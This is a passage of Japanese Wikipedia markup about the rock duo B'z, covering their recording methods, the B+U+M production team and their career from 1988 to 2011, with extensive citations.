レコーディングは松本のギター・ソロや稲葉のボーカル録りを個別に行っており、松本は歌詞に関しても稲葉の歌入れ後に初めて聞くことが多い{{Sfn|B'z Unreal Music|2000|pp=58-59}}。松本のギター・ソロのレコーディングは、何通りか弾いた中からフレーズが決まってくると、いくつかのフレーズをミックスして弾く場合が多いと述べている{{Sfn|佐伯明|2008|p=125}}。レコーディング場所は[[ロサンゼルス]]と[[東京]]で行うことが多く、制作などのスタジオ作業はロサンゼルスや東京のほかに[[ニューヨーク]]、[[ハワイ州|ハワイ]]、[[沖縄県|沖縄]]、[[福岡市|福岡]]、[[大阪]]などで行ったことがある<ref name="bewith079"/>。また、かつてはアメリカの制作過程や作業を学ぶためロサンゼルスに渡り、{{仮リンク|アンディ・ジョーンズ|en|Andy Johns}}をプロデューサーに迎えてレコーディングを行ったことがあり、20thシングル『[[Real Thing Shakes]]』として発売するなど、外部のプロデューサーを起用して曲づくりをする場合もある<ref name="bewith079"/>。
=== B+U+M ===
「B+U+M」はかつてのB'zの音楽制作集団であり、名称は「B'z Unreal Music」のイニシャルに由来している。[[ギター]]の[[松本孝弘]]と[[ボーカル]]の[[稲葉浩志]]で構成しているB'zであるが、「自分たちだけでは実現できない音楽を実現する」という目的で「B+U+M」を結成しており、B'zの曲の制作やライブサポートなどの活動を行っていた。1990年発売の3rdアルバム『[[BREAK THROUGH]]』収録の「B・U・M」には「Here we are B'z & the Funky Crew」という「B+U+M」を示唆する歌詞があり、同年発売の4thシングル『[[BE THERE]]』で初めてクレジットしている。なお、1990年11月16日にはB'zのマネジメントオフィスとして「B.U.M」を設立しており、2001年には「B.U.M」を継承した「[[VERMILLION (芸能事務所)|VERMILLION]]」を設立している{{Sfn|B'z The Book|1998|p=90}}。その後、「B'zは2人である」というメリットを有効に活用するため{{Sfn|B'z The Book|1998|p=72}}、1994年発売の15thシングル『[[MOTEL (B'zの曲)|MOTEL]]』制作を最後に「B+U+M」を解体した。
「B+U+M」の解体については1994年開催の『B'z LIVE-GYM '94 "The 9th Blues"』ツアー中に松本が稲葉に話をするなどし考えていたという。当初はスタッフを含めB'zを取り巻く環境をずっと変えないで行こうと思っていたが、それが良くない方向に現れ一度解体してバラすことが必要であったと1995年のインタビューで松本が述べている<ref>{{Cite interview|subject=|url=http://www.j-rock.com/back_intime/95_10/95102/95102.html|title=B'z takahiro matsumoto|interviewer=SHOUJI MAEDA|publisher=CYBER J-ROCK MAGAZINE|date=1995|accessdate=2022-07-23|archiveurl=https://web.archive.org/web/19970104013655/http://www.j-rock.com/back_intime/95_10/95102/95102.html|archivedate=2022-07-23}}</ref>
{| class="wikitable" style="font-size:85%;"
|+ B+U+Mメンバー
!名前
!パート
!備考
|-
|{{Nowrap|[[松本孝弘]]}}
|{{Nowrap|[[ギター]]}}
|
|-
|{{Nowrap|[[稲葉浩志]]}}
|{{Nowrap|[[ボーカル]]}}
|
|-
|{{Nowrap|[[明石昌夫]]}}
|{{Nowrap|[[マニピュレーター#音楽|マニピュレート]]<br />[[ベース (弦楽器)|ベース]]}}
|ベース演奏は1992年発売の11thシングル『[[ZERO (B'zの曲)|ZERO]]』から{{Sfn|B'z The Book|1998|p=26}}{{Refnest|group="注釈"|ただしクレジットに表記されるようになったのは1992年発売の4thミニ・アルバム『[[FRIENDS (B'zのアルバム)|FRIENDS]]』から。}}
|-
|{{Nowrap|[[野村昌之]]}}
|{{Nowrap|[[レコーディング・エンジニア]]}}
|
|-
|{{Nowrap|[[寺島良一]]}}
|{{Nowrap|[[ディレクター|ボイスディレクション]]}}
|
|-
|[[田中一光 (ドラマー)|田中一光]]
|{{Nowrap|[[ドラムセット|ドラムス]]}}
|1992年発売の11thシングル『ZERO』から1993年発売の12thシングル『[[愛のままにわがままに 僕は君だけを傷つけない]]』まで
|-
|{{Nowrap|畠山勝紀}}
|{{Nowrap|ギターテクニシャン}}
|1992年発売の11thシングル『ZERO』から
|}
== 経歴 ==
<!--作品の発売やライブに関することなど、執筆する内容をできる限り簡潔にするように心掛けてください。-->
=== 1988年(出会いからデビューまで) ===
音楽制作会社の[[ビーイング]]に所属して[[浜田麻里]]や[[TM NETWORK]]などの[[バックバンド]]や[[スタジオ・ミュージシャン]]などとして活動していた[[ギタリスト]]の[[松本孝弘]]は、「自分自身の音楽を表現できるバンドをつくる」という構想を実現するため、[[バンド (音楽)|バンド]]結成に向けた活動を開始していた。音楽雑誌においてある[[ボーカリスト]]とバンドを組むことを公表した時もあったが、結局デビューには至らなかった<ref>{{Cite journal|和書|journal=Go!Go!GUITAR |date=1987 |publisher=[[ヤマハミュージックメディア]]}}</ref>。
1988年5月、松本はビーイング社長であり[[音楽プロデューサー]]でもあった[[長戸大幸]]から1本のデモテープを渡された。そのデモテープには「Being音楽振興会」(後の[[Being Music School]])に所属していた[[稲葉浩志]]が、[[T-ボーン・ウォーカー]]の「T-BORN SHUFFLE」、[[レッド・ツェッペリン]]の「YOU SHOOK ME」、[[ビリー・ジョエル]]の「[[オネスティ|Honesty]]」を歌ったものが録音されていた。この頃の長戸は、「稲葉を何とかしたい、早くデビューさせたい。」との思いを抱いていた<ref>{{Cite journal|和書|journal=GB |date=1990 |publisher=[[ソニー・マガジンズ]]}}</ref>。歌声を聞いた松本は稲葉をボーカルに採用することを決め、長戸を介して2人は初めて会うことになった。松本は当時について、「デモも聞いたし、写真も見たし、(稲葉と会う前から)自分は心が決まっていた」{{Sfn|B'z Unreal Music|2000|p=38}}、「後は『いい人』であってくれと願っていた」と振り返っている<ref name="bewith003">{{Cite journal|和書|journal=be with! |volume=3 |date=1989 |publisher=B'z Party}}</ref>。
翌々日に当時六本木にあった[[録音スタジオ]]「SOUND JOKER」にて[[ビートルズ]]の「[[レット・イット・ビー (曲)|Let It Be]]」、「[[オー!ダーリン|Oh! Darling]]」をセッションした<ref>{{Cite journal|和書|journal=be with! |volume=0 |date=1988 |publisher=B'z Party}}</ref>{{Sfn|B'z The Book|1998|p=8}}{{Sfn|佐伯明|2008|p=87}}。ところがアンプの故障によりセッションは2曲で終了したため、松本曰く「ものの10分くらいですぐ決まった」と述べている{{Sfn|B'z Unreal Music|2000|p=38}}{{Sfn|B'z The Book|1998|p=8}}。そして、ユニット名を「B'z」として1988年9月21日にシングル『[[だからその手を離して]]』とアルバム『[[B'z (1988年のアルバム)|B'z]]』の同時発売でデビューした。アルバムの[[キャッチコピー]]は「最先端から加速する」{{Sfn|B'z Dictionary|2003}}。初めての出会いからデビューに至るまでが約4か月と短期間であり、信頼関係や友情がないままデビューに向けての活動が始まっていたため、稲葉によると「これまで松本さんから『一緒にバンドやろう』と言われたことはない」と述べている{{Sfn|佐伯明|2003|p=9}}。
松本によると、当時のレコード会社は「アルバム発売3枚までにブレイクさせよう」という方針であり{{Sfn|佐伯明|2003|p=13}}、B'zを始めた時から「売れなければ意味がない」という意識が高く、「どうしたら売れるか?」ということを考えていたという{{Sfn|佐伯明|2003|p=13}}。稲葉には「(当時一番売れていた音楽雑誌)『ギターブック/GB』の表紙を目指す」、「(週刊ランキング誌)『オリコン』の(1位から50位までが掲載されている)左ページに載る」といったB'zの「3ヵ年計画」を語ったという<ref name="bewith075"/>{{Sfn|佐伯明|2008|pp=85-86}}。なお、初期のプロデューサーは[[中島正雄]]であり、松本のトータル・プロデュースとなった後は「[[スーパーバイザー]]」としてクレジットしていた。
=== 1988年(デビュー後) - 1993年 ===
デビュー1年目は音源を制作してリリースすることで話題を繋いでいこうという戦略であり{{Sfn|佐伯明|2003|pp=14-17}}、当時の松本には「アルバムを少なくとも2枚出すまで絶対ツアーをやらない」、「ライブハウスからではなく、はじめからホール展開でやっていく」というビジョンがあった{{Sfn|佐伯明|2003|pp=14-17}}{{Sfn|別冊カドカワ|2003|pp=24-25}}。その代わりに[[ヤマハ]]のモニターを務めていた松本が「ギター・セミナー」を開催し、セミナー後には同行していた稲葉とともにB'zを披露する[[キャンペーン]]で全国各地を回った{{Sfn|佐伯明|2003|pp=14-17}}{{Sfn|佐伯明|2008|pp=91-93}}。この頃、松本はまだTM NETWORKのツアーに参加するスケジュールが残っており、コンサートの前後にセミナーを開催する時もあった{{Sfn|佐伯明|2003|pp=14-17}}{{Sfn|佐伯明|2008|pp=91-93}}。
B'zが初めて観客の前でライブを披露したのは、1989年にTM NETWORKや[[FENCE OF DEFENSE]]との音楽イベントに[[オープニングアクト]]として出演した時であり{{Sfn|佐伯明|2008|pp=94-95}}、松本は初めて稲葉がライブで歌っているのを横でギターを弾きながら見た時に、「『これは絶対にいけるな』と思った」と述べている{{Sfn|佐伯明|2008|pp=94-95}}{{Sfn|B'z Unreal Music|2000|pp=36-37}}。2ndアルバム『[[OFF THE LOCK]]』発売後、初の単独ライブ『B'z LIVE-GYM #00 "OFF THE LOCK"』を東名阪の3ヵ所で開催した。3rdアルバム発売前に実験的な試みで発表した1stミニ・アルバム『[[BAD COMMUNICATION]]』がロングセラーを続ける中{{Sfn|佐伯明|2003|pp=17-18}}{{Sfn|別冊カドカワ|2003|p=25}}<ref name="ORICON2006.5">{{Cite web|和書|url=https://www.oricon.co.jp/news/22742/full/ |title=B'z、歴代No.1アーティストまでの軌跡! |date=2006-05-25 |work=ORICON NEWS |accessdate=2018-06-03}}</ref>、1990年発売の3rdアルバム『[[BREAK THROUGH]]』が[[オリコンチャート]]初登場3位となりトップ10入りを果たした。
これまではアルバムとシングルを同時発売していたが、4thシングル『[[BE THERE]]』を単独発売しシングルでもオリコンチャートトップ10入りを果たした。なお、このシングルから収録曲の表記を「1st beat」、「2nd beat」としているほか、音楽制作集団「B+U+M」をクレジットしている。続く5thシングル『[[太陽のKomachi Angel]]』で初の[[オリコンチャート]]1位を獲得すると<ref name="ORICON2006.5"/>、4thアルバム『[[RISKY (アルバム)|RISKY]]』は初のアルバムチャート1位と[[ミリオンセラー]]を達成した。この年はシングル5枚、オリジナル・アルバム2枚、ミニ・アルバム1枚、ビデオ1作品を発表しており、毎月のように各音楽雑誌が紙面に取り上げ、表紙を飾ることもできた<ref name="bewith079"/>。1991年発売の8thシングル『[[LADY NAVIGATION]]』ではシングル初のミリオンセラーを達成した(なお、「LADY NAVIGATION」から1996年発売の20thシングル『[[Real Thing Shakes]]』まで13作品連続ミリオンセラーになっている)。また、1991年はそれまでに発表した曲の中から人気曲などを演奏する『B'z LIVE-GYM "Pleasure '91"』を開催した年であり、以後シリーズ化していく。5thアルバム『[[IN THE LIFE]]』発売後、翌年にかけて『B'z LIVE-GYM '91-'92 "IN THE LIFE"』を開催した。
1992年の『B'z LIVE-GYM Pleasure '92 "TIME"』ではアリーナクラスの会場に「STAR FISH」と名づけられた可動式の照明トラスを持ち込み、360度全方向に客席を設けた<ref name="bewith079"/>。この年は10thシングル『[[BLOWIN']]』と11thシングル『[[ZERO (B'zの曲)|ZERO]]』、6thアルバム『[[RUN (アルバム)|RUN]]』と4thミニ・アルバム『[[FRIENDS (B'zのアルバム)|FRIENDS]]』を発売している。1993年は『B'z LIVE-GYM '93 "RUN"』を開催し、ツアー中に12thシングル『[[愛のままにわがままに 僕は君だけを傷つけない]]』と13thシングル『[[裸足の女神]]』を発売した。夏にはB'z初の野外ライブ『B'z LIVE-GYM Pleasure '93 "JAP THE RIPPER"』を[[渚園]](静岡県弁天島海浜公園)で2日間開催した。
=== 1994年 - 1998年 ===
1994年、14thシングル『[[Don't Leave Me (B'zの曲)|Don't Leave Me]]』発売日から『B'z LIVE-GYM '94 "The 9th Blues"』を開催し、合計で1年を通して87本のライブを行った。また、初のCD2枚組になった7thアルバム『[[The 7th Blues]]』発売日には、全国31紙の新聞に音楽業界初となる全30段フルカラー2ページの広告展開を実施した{{Sfn|B'z The Book|1998|p=91}}。15thシングル『[[MOTEL (B'zの曲)|MOTEL]]』発売を最後に制作チーム「B+U+M」を解体した{{Sfn|B'z The Book|1998|p=33}}。
1995年、16thシングル『[[ねがい (B'zの曲)|ねがい]]』を発売し、17thシングル『[[love me, I love you]]』発売日から『B'z LIVE-GYM Pleasure '95 "BUZZ!!"』がスタートし、スタジアムクラスの会場を中心に開催した。ツアーで未発表曲として披露した「[[LOVE PHANTOM]]」を18thシングルとして発売した。「B'zは2人である」という原点に立ち返って制作した8thアルバム『[[LOOSE (B'zのアルバム)|LOOSE]]』は売上枚数が300万枚に達した。1996年は19thシングル『[[ミエナイチカラ 〜INVISIBLE ONE〜/MOVE]]』発売後、『B'z LIVE-GYM '96 "Spirit LOOSE"』を開催。ツアーで披露していた全編英語詞の「[[Real Thing Shakes]]」を20thシングルとして発売した。
1997年、21stシングル『[[FIREBALL (B'zの曲)|FIREBALL]]』発売後に『B'z LIVE-GYM Pleasure '97 "FIREBALL"』を開催し、[[ナゴヤドーム]]のこけら落し公演を含むドームツアーとなった。日本のミュージシャンでは初となる東京・名古屋・大阪・福岡の4大ドーム公演の実施であった<ref>{{Cite web|和書|title=B’Zツアー日程発表|url=http://www.yomiuri.co.jp/hochi/geinou/jan/o20010106_20.htm|website=スポーツ報知|publisher=株式会社報知新聞社|accessdate=2023-06-08|archiveurl=https://web.archive.org/web/20011031072805/http://www.yomiuri.co.jp/hochi/geinou/jan/o20010106_20.htm|archivedate=2001-01-06|deadlinkdate=2023年6月}}</ref>。ツアーで未発表曲として披露した「[[Calling (B'zの曲)|Calling]]」は大幅なアレンジを経て22ndシングルとして発売した。9thアルバム『[[SURVIVE]]』発売後、1998年から『B'z LIVE-GYM '98 "SURVIVE"』を開催した。デビュー10周年となったこの年に発売した初の公式[[ベスト・アルバム]]『[[B'z The Best "Pleasure"]]』は、当時の初週売上枚数を更新する270万枚を記録すると、さらに売上枚数を増やして日本国内の音楽史上初となる売上枚数500万枚を突破した。また、『Pleasure』に封入していたはがきによるリクエストで収録曲を決定したベスト・アルバム『[[B'z The Best "Treasure"]]』も400万枚を超える売上枚数となって2作品合計の売上枚数が約1000万枚を記録した<ref>{{Cite journal|和書|title=B'z アルバム1000万枚の偉業! その秘密と軌跡!! |pages=9-13 |date=1999-01 |journal=“オリコン”ウィーク The Ichiban |publisher=オリコン}}</ref>。
=== 1999年 - 2003年 ===
1999年、前年に発売したベスト・アルバムのセールスなどにより『[[日本ゴールドディスク大賞]]』の「アーティスト・オブ・ザ・イヤー」をはじめとする各賞<ref name="GD13">{{Cite web|和書|url=https://www.golddisc.jp/award/13/ |title=第13回日本ゴールドディスク大賞 |year=1999 |publisher=[[日本レコード協会]] |accessdate=2018-06-03}}</ref>、『[[ワールド・ミュージック・アワード]]』の「World Selling Japanese Artist of The Year」を受賞した。ソロ活動を経て26thシングル『[[ギリギリchop]]』を発売、10thアルバム『[[Brotherhood (B'zのアルバム)|Brotherhood]]』収録の「ギリギリchop(Version 51)」には[[MR. BIG (アメリカのバンド)|MR. BIG]]から[[ビリー・シーン]]と[[パット・トーピー]]が参加している<ref group="注釈">なお、[[ビリー・シーン]]は「ギリギリchop(Version 51)」のほかに、タイトル曲「Brotherhood」「流れゆく日々」「イカせておくれ!」「SHINE」にも参加している。</ref>。また、以前から面識のあった[[スティーヴ・ヴァイ]]のレコーディングに参加し、『[[ウルトラ・ゾーン|The Ultra Zone]]』収録の「ASIAN SKY」を制作している{{Sfn|佐伯明|2008|pp=134-135}}。『B'z LIVE-GYM '99 "Brotherhood"』の[[横浜市|横浜]]公演はコンサート初開催となる[[横浜国際総合競技場]]を使用した<ref>{{Cite web|和書|url=http://www.nissan-stadium.jp/stadium/history.php |title=スタジアムヒストリー |work=日産スタジアム |accessdate=2018-06-08}}</ref>。
2000年、27thシングル『[[今夜月の見える丘に]]』、マスト・アルバムとして『[[B'z The "Mixture"]]』を発売。[[ニッポン放送]]のラジオ番組『B'zの[[@llnightnippon.com]]』に出演した際は、インターネット中継の同時アクセス数が14,600ストリームに達し、当時の日本記録を更新した{{Refnest|group="注釈"|公開上映会の観覧席は400席に対し5万通もの応募が殺到し、倍率は125倍であった<ref>{{Cite web|和書|title=B'zのイベント、HPで生中継|url=http://www.sanspo.com/music/top/m0002/top2000021904.html|website=SANSPO.COM|publisher=株式会社産業経済新聞社|accessdate=2022-09-04|archiveurl= https://web.archive.org/web/20010708223837fw_/http://www.sanspo.com/music/top/m0002/top2000021904.html|archivedate=2000-02-18|deadlinkdate=2022年9月}}</ref>。}}<ref>{{Cite press release |和書 |url=http://www.impressholdings.com/release/2000/005/ |title=インプレスが、ネットイベントに全面協力 日本新記録の同時アクセス数、14,600を記録! |archiveurl=https://web.archive.org/web/20061018095202/http://www.impressholdings.com/release/2000/005/ |archivedate=2006-10-18 |publisher=[[インプレス]] |date=2000-02-25 |accessdate=2020-05-23}}</ref>。29thシングル『[[juice (B'zの曲)|juice]]』の[[ミュージック・ビデオ]]は[[札幌市|札幌]]での「ゲリラライブ」形式で撮影した。『B'z LIVE-GYM Pleasure 2000 "juice"』では、8月9日の[[千葉マリンスタジアム]]でのライブが激しい雨と落雷によって急遽内容を短縮して終了する事態となった<ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=52206701 |title=<B'z LIVE-GYM Pleasure 2000“juice”>@嵐の千葉マリンスタジアム緊急レポート |date=2000-08-10 |work=BARKS |accessdate=2018-06-07}}</ref>。同年には11thアルバム『[[ELEVEN (アルバム)|ELEVEN]]』発売した。
2001年は31stシングル『[[ultra soul]]』発売後に『B'z LIVE-GYM 2001 "ELEVEN"』を開催し、コンサート初開催となる[[札幌ドーム]]では32ndシングル『[[GOLD (B'zの曲)|GOLD]]』のミュージック・ビデオを撮影した。また、この年はB'z初の海外公演を[[台北市|台北]]と[[香港]]で開催した。
2002年、『[[2002 FIFAワールドカップ]]』開催に伴い発売された[[コンピレーション・アルバム]]『[[2002 FIFA ワールドカップ公式アルバム|2002 FIFA World Cup Official Album]]』Songs of KOREA/JAPAN盤に「DEVIL」で参加し、[[東京スタジアム (多目的スタジアム)|東京スタジアム]]で開催した[[国際サッカー連盟]]初のオフィシャル・コンサート『2002 FIFA World Cup KOREA/JAPAN Official Concert International Day』に出演した。Wアンコールでは[[エアロスミス]]とともに「Train Kept A Rollin'」を披露した<ref>{{Cite web|和書|title=B'zとエアロスミスのW杯コンサート競演に5万人酔った!|url=http://www.sanspo.com/geino/top/gt200206/g_top2002062802.html|website=SANSPO.COM|publisher=株式会社産業経済新聞社|accessdate=2022-08-25|archiveurl=https://web.archive.org/web/20031211014121/http://www.sanspo.com/geino/top/gt200206/g_top2002062802.html|archivedate=2002-06-27|deadlinkdate=2022年8月}}</ref><ref>{{Cite web|和書|title=B'z、エアロスミスと競演で「鳥肌が立った」|url=http://www.sanspo.com/geino/top/gt200206/g_top2002062902.html|website=SANSPO.COM|publisher=株式会社産業経済新聞社|accessdate=2022-08-25|archiveurl=https://web.archive.org/web/20031211015017/http://www.sanspo.com/geino/top/gt200206/g_top2002062902.html|archivedate=2002-06-28|deadlinkdate=2022年8月}}</ref>。また、12thアルバム『[[GREEN (B'zのアルバム)|GREEN]]』を発売後に『B'z LIVE-GYM 2002 "GREEN 〜GO★FIGHT★WIN〜"』を開催したほか、初の[[アメリカ合衆国|アメリカ]]公演『B'z LIVE-GYM 2002 "Rock n' California Roll"』を[[サンディエゴ]]と[[ロサンゼルス]]で開催した。なお、この年のサポートメンバーは[[ベース (弦楽器)|ベース]]に[[ビリー・シーン]]が参加した。冬には初のバラード・ベスト・アルバム『[[The Ballads 〜Love & B'z〜]]』を発売した<ref>{{Cite news|url=https://www.barks.jp/news/?id=52304932|title=初期~最新アルバムまでバラードだけを集めたベスト盤登場、全15曲を一挙解説!|work=BARKS|publisher=ジャパンミュージックネットワーク株式会社|date=2002-12-11|accessdate=2021-11-27}}</ref>。
2003年、34thシングル『[[IT'S SHOWTIME!!]]』発売と同時に4thシングル『[[BE THERE]]』から13thシングル『[[裸足の女神]]』までのシングル10作品を[[シングル#12cmCDシングル(マキシ・シングル)への移行|マキシシングル]]化して再発売し、オリコン週間シングルチャートトップ10に9作品がランクインした{{Refnest|group="注釈"|2003年4月7日付オリコン週間シングルランキングのトップ10は、2位の[[SMAP]]『[[世界に一つだけの花]]』を除いたすべてがB'zの作品であった<ref name="oricon2003.4">{{Cite journal|和書|title=シングル BEST 100 |pages=36-37 |date=2003-04 |journal=weekly oricon WO |publisher=オリコン・エンタテインメント}}</ref><ref name="sanspo_030331">{{Cite web|和書|url=http://www.sanspo.com/geino/top/gt200303/gt2003040103.html |title=B’z、オリコン独占!トップ10に9曲 |publisher=[[サンケイスポーツ|SANSPO.COM]] |accessdate=2020-03-15 |archiveurl=https://web.archive.org/web/20030404050500/http://www.sanspo.com/geino/top/gt200303/gt2003040103.html |archivedate=2003-04-04}}</ref>。}}。6月9日、特別番組の収録で[[六本木ヒルズアリーナ]]にてゲリラライブを行った<ref>{{Cite web|和書|title=B'z六本木ヒルズでゲリラライブ…4000人熱狂|url=http://www.sanspo.com/geino/top/gt200306/gt2003061005.html|website=SANSPO.COM|publisher=株式会社産業経済新聞社|accessdate=2022-08-27|archiveurl= https://web.archive.org/web/20040417175301/http://www.sanspo.com/geino/top/gt200306/gt2003061005.html |archivedate=2003-06-09|deadlinkdate=2022年8月}}</ref>。『B'z LIVE-GYM The Final Pleasure "IT'S SHOWTIME!!"』最終公演は10年ぶりとなる[[渚園]](静岡県弁天島海浜公園)で開催し、デビュー15周年を迎えた<ref>{{Cite web|和書|title=B'z台風吹き飛ばす熱気ライブ|url=http://www.sponichi.co.jp/entertainment/kiji/2003/09/22/03.html|website=スポニチ Sponichi Annex|publisher=株式会社スポーツニッポン新聞社|accessdate=2022-09-24|archiveurl=https://web.archive.org/web/20041212054318/http://www.sponichi.co.jp/entertainment/kiji/2003/09/22/03.html|archivedate=2003-09-22|deadlinkdate=2022年9月}}</ref>。10月10日に放送された特別ドラマ『[[生放送はとまらない!]]』内の演奏シーンで出演<ref>{{Cite web|和書|title=B’z、テレビ朝日のスペシャル・ドラマにゲスト出演(VIBE)|url=http://music.yahoo.co.jp/jpop/music_news/vibe/20030912/vibent001.html|website=Yahoo!JAPAN Music|publisher=ヤフー株式会社|accessdate=2023-10-07|archiveurl=https://web.archive.org/web/20040807193741/http://music.yahoo.co.jp/jpop/music_news/vibe/20030912/vibent001.html|archivedate=2003-09-12|deadlinkdate=2004年8月}}</ref>。前年に続き海外公演『B'z LIVE-GYM 2003 "BANZAI IN NORTH AMERICA"』をアメリカと[[カナダ]]の西海岸5都市で開催し、日本国内では5大ドームを含むツアー『B'z LIVE-GYM 2003 "BIG MACHINE"』を開催した。
=== 2004年 - 2008年 ===
2004年はソロ活動がメインとなったが、36thシングル『[[BANZAI (B'zの曲)|BANZAI]]』、37thシングル『[[ARIGATO (B'zの曲)|ARIGATO]]』を発売している<ref>{{Cite web|和書|title=B'z今年はソロに専念|url=http://www.yomiuri.co.jp/hochi/geinou/mar/o20040302_40.htm|website=スポーツ報知|publisher=株式会社報知新聞社|accessdate=2023-07-24|archiveurl=https://web.archive.org/web/20040305184138fw_/http://www.yomiuri.co.jp/hochi/geinou/mar/o20040302_40.htm|archivedate=2004-03-02|deadlinkdate=2023年7月}}</ref><ref>{{Cite news|url=https://www.barks.jp/news/?id=1000004799|title=B'z、待望のLIVE-GYMが決定!|newspaper=BARKS|publisher=ジャパンミュージックネットワーク株式会社|date=2005-01-13|accessdate=2022-09-02}}</ref><ref name="BARKS20121121">{{Cite news|url=https://www.barks.jp/news/?id=1000084864|title=B'z、渇望していたライブ映像作品3タイトル、順次リリース決定|newspaper=BARKS|publisher=ジャパンミュージックネットワーク株式会社|date=2012-11-21|accessdate=2022-08-10}}</ref>。
2005年、38thシングル『[[愛のバクダン]]』と14thアルバム『[[THE CIRCLE (B'zのアルバム)|THE CIRCLE]]』発売後に『B'z LIVE-GYM 2005 "CIRCLE OF ROCK"』を開催し、アリーナ公演からはB'z初となる円形ステージを採用した<ref name="BARKS20121121" />。39thシングル『[[OCEAN (B'zの曲)|OCEAN]]』のミュージック・ビデオは史上初となる[[海上保安庁]]の[[巡視船]]([[みずほ型巡視船|みずほ]])を使用しての撮影となった<ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000008774 |title=B'z、新曲のPVを海上保安庁の巡視船で撮影! |date=2005-06-09 |work=BARKS |accessdate=2018-06-07}}</ref>。アップルコンピュータ(現在の[[Apple]])による日本国内でのiTunes Music Store(現在の[[iTunes Store]])サービス開始に伴って楽曲の配信を開始し(一部の曲を除く)<ref name="AV Watch2005">{{Cite web|和書|url=https://av.watch.impress.co.jp/docs/20050804/apple1.htm |title=「iTunes Music Store」の国内サービス開始 —100万曲をラインナップで1曲150円〜。ジョブズも登場 |date=2005-08-04 |work=AV Watch |accessdate=2018-07-03}}</ref>、配信限定の[[ボックス・セット]]『[[The Complete B'z]]』をリリースした(現在は配信停止)<ref name="AV Watch2005"/>。また、同年に発売したベスト・アルバム『[[B'z The Best "Pleasure II"]]』では、[[iTunes]]から初公開のライブ映像1曲がダウンロードできる購入特典があった<ref>{{Cite web|和書|url=https://www.oricon.co.jp/music/special/051130_03.html |title=B'z『最強のベストアルバム第3弾遂にリリース!』 |date=2005-11-30 |work=ORICON STYLE |accessdate=2018-07-03}}</ref>。
2006年は15thアルバム『[[MONSTER (アルバム)|MONSTER]]』発売後に5大ドームを含むツアー『B'z LIVE-GYM 2006 "MONSTER'S GARAGE"』を開催した。また、ライブ映像配信事業の「Network LIVE」(当時)に初の日本人アーティストとして参加し<ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000022807 |title=B'z、アルバム発売&米の配信事業に日本人として初登場! |date=2006-05-10 |work=BARKS |accessdate=2018-06-07}}</ref>、映像収録のためのライブを行った。
2007年はB'zとしては初の[[ロック・フェスティバル]]出演となる『[[サマーソニック|SUMMER SONIC 07]]』に出演した。また、デビュー20年目を迎えるに当たり、アジア圏のミュージシャンとしては初めて「{{仮リンク|ハリウッド・ロックウォーク|en|Hollywood's RockWalk}}」に殿堂入りし、[[ハリウッド]]のギター・センターで記念セレモニーが行われた<ref name="ORICON NEWS 2007.09"/><ref name="ORICON NEWS 2007.11"/>。16thアルバム『[[ACTION (B'zのアルバム)|ACTION]]』を発売し、2008年に『B'z LIVE-GYM 2008 "ACTION"』を開催した。また、ベスト・アルバム『[[B'z The Best "ULTRA Pleasure"]]』と[[インターネット]]からのリクエストによって収録曲を決定したベスト・アルバム『[[B'z The Best "ULTRA Treasure"]]』を発売し<ref name="BARKS2008.4"/><ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000041790 |title=B'z、ウルトラベストアルバムの第2弾、詳細決定 |date=2008-07-16 |work=BARKS |accessdate=2018-06-07}}</ref>、5年ぶりとなるPleasureシリーズ『B'z LIVE-GYM Pleasure 2008 -GLORY DAYS-』を開催した<ref>{{Cite news|url=https://www.barks.jp/news/?id=1000045947|title=B'z、20周年を飾った雨の日産スタジアムがDVD化|work=BARKS|publisher=ジャパンミュージックネットワーク株式会社|date=2008-12-25|accessdate=2021-11-20}}</ref>。
=== 2009年 - 2013年 ===
2009年、46thシングル『[[イチブトゼンブ/DIVE]]』を発売。[[ドラムセット|ドラムス]]には[[レッド・ホット・チリ・ペッパーズ]]の[[チャド・スミス]]が参加した<ref group="注釈">17thアルバム『[[MAGIC (B'zのアルバム)|MAGIC]]』収録の「long time no see」にも参加している。</ref><ref name="BARKS2018.6">{{Cite web|和書|url=https://www.barks.jp/news/?id=1000050311 |title=B'z最新作「イチブトゼンブ」はフジテレビ月9主題歌 |date=2009-06-17 |work=BARKS |accessdate=2018-06-07}}</ref>。『B'z SHOWCASE 2009 -B'z In Your Town-』開催後には『[[サマーソニック|SUMMER SONIC 09]]』に出演した。47thシングル『[[MY LONELY TOWN]]』のミュージック・ビデオや[[ディスクジャケット|ジャケット写真]]は[[端島 (長崎県)|端島]](通称「軍艦島」)で撮影した<ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000052580 |title=B'z、ニューシングル「MY LONELY TOWN」は軍艦島で撮影 |date=2009-09-01 |work=BARKS |accessdate=2018-06-07}}</ref>。17thアルバム『[[MAGIC (B'zのアルバム)|MAGIC]]』発売し、翌年に『B'z LIVE-GYM 2010 "Ain't No Magic"』を開催した。ツアー後の表立った活動はソロがメインとなった<ref>{{Cite news|url=https://natalie.mu/music/news/29681|title=B'z松本&稲葉、ソロ作品リリース&全国ツアー開催|work=音楽ナタリー|publisher=株式会社ナターシャ|date=2010-03-29|accessdate=2021-11-20}}</ref>。
2011年、[[ペプシコーラ]]「ペプシネックス」TVCMキャラクターに起用され、B'z初の[[コマーシャルメッセージ|CM]]出演となった<ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000067843 |title=「ペプシネックス」新CMキャラクターは、TVCM初出演のB'z |date=2011-02-22 |work=BARKS |accessdate=2018-06-07}}</ref>。CMには「エフェクト」篇・「荒野」篇で「[[さよなら傷だらけの日々よ]]」を使用し、夏には「People」篇で18thアルバム『[[C'mon]]』からタイトル曲「C'mon」<ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000071485 |title=B'z、「ペプシネックス」新TVCM&北米ツアー最終公演の生配信が決定 |date=2011-07-12 |work=BARKS |accessdate=2018-06-07}}</ref>、冬には「Xmas Lover」篇で「[[いつかのメリークリスマス]]」を使用した<ref>{{Cite web|和書|url=https://natalie.mu/music/news/60907 |title=B'zペプシCM第3弾であのクリスマス名曲披露 |date=2011-12-08 |work=[[ナタリー (ニュースサイト)|ナタリー]] |accessdate=2018-06-07}}</ref>。3月11日の「[[東日本大震災]]」発生に伴い、被災者支援のために[[リンキン・パーク]]が設立した「Music For Relief」による[[ダウンロード販売]]のコンピレーション・アルバム『[[ダウンロード・トゥ・ドネート:ツナミ・リリーフ|Download to Donate: Tsunami Relief]]』に参加し、「Home」を提供した<ref>{{Cite web|和書|url=https://www.barks.jp/news/?id=1000068514 